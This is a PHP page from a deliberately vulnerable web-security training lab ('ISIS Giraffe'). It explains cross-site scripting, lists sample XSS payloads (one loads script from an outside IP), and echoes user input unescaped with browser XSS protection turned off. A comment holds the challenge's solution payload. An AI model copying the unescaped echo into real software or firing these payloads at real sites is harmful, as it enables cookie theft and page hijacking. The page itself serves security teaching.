forked from osirislab/Giraffe
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathxss.php
More file actions
59 lines (56 loc) · 1.75 KB
/
Copy pathxss.php
File metadata and controls
59 lines (56 loc) · 1.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
session_start();
header('X-XSS-Protection: 0');
?>
<!DOCTYPE html>
<html>
<head>
<title>ISIS Giraffe - XSS</title>
</head>
<body>
<h2>Cross Site Scripting</h2>
<div>
<p>
Cross Site Scripting (XSS) occurs when a site renders input
provided to the site without filtering it for characters
which another user's browser may interpret as being valid site markup.</p>
<p>
Typically XSS is exploited by an attacker using a JavaScript payload
to send themselves another user's cookie, submit actions on another
user's behalf, or defacing pages.</p>
</div>
<div>
<p>
Here are some common XSS payloads:</p>
<?php
$payloads = array('<script>alert(0)</script>', '<script src=//54.243.84.85/new_nyan.js></script>',
'<img src=x onerror=alert(0)> ', '<a onclick=alert()>A');
foreach ($payloads as &$payload) {
$payload = htmlentities($payload);
echo("<code>".$payload."</code><br/>");
}
?>
</div>
<div style="float:left; width: 49%;">
<p>
Try landing some XSS on the input below. </p>
<form method="GET">
<input type="text" name="xss">
<input type="submit">
</form >
<?php
if(isset($_GET['xss'])){
echo('You entered:');
echo($_GET['xss']);
echo('<br/><br/>'.'If you\'re not sure why your XSS payload isn\'t working you should look at the page source. Usually you can see it with Ctrl+U');
}
?>
<p>If you think you're good enough with XSS, try using the form above to change this cat image into a giraffe image.</p>
<?php
// <script>window.onload=function(){document.getElementById("cat").src="http://i.imgur.com/6K8O2w4.gif";}<%2Fscript>ssss
?>
<img width="200px" height="200px" id="cat" src="http://i.imgur.com/2IMozHO.jpg">
</div>
</code>
</body>
</html>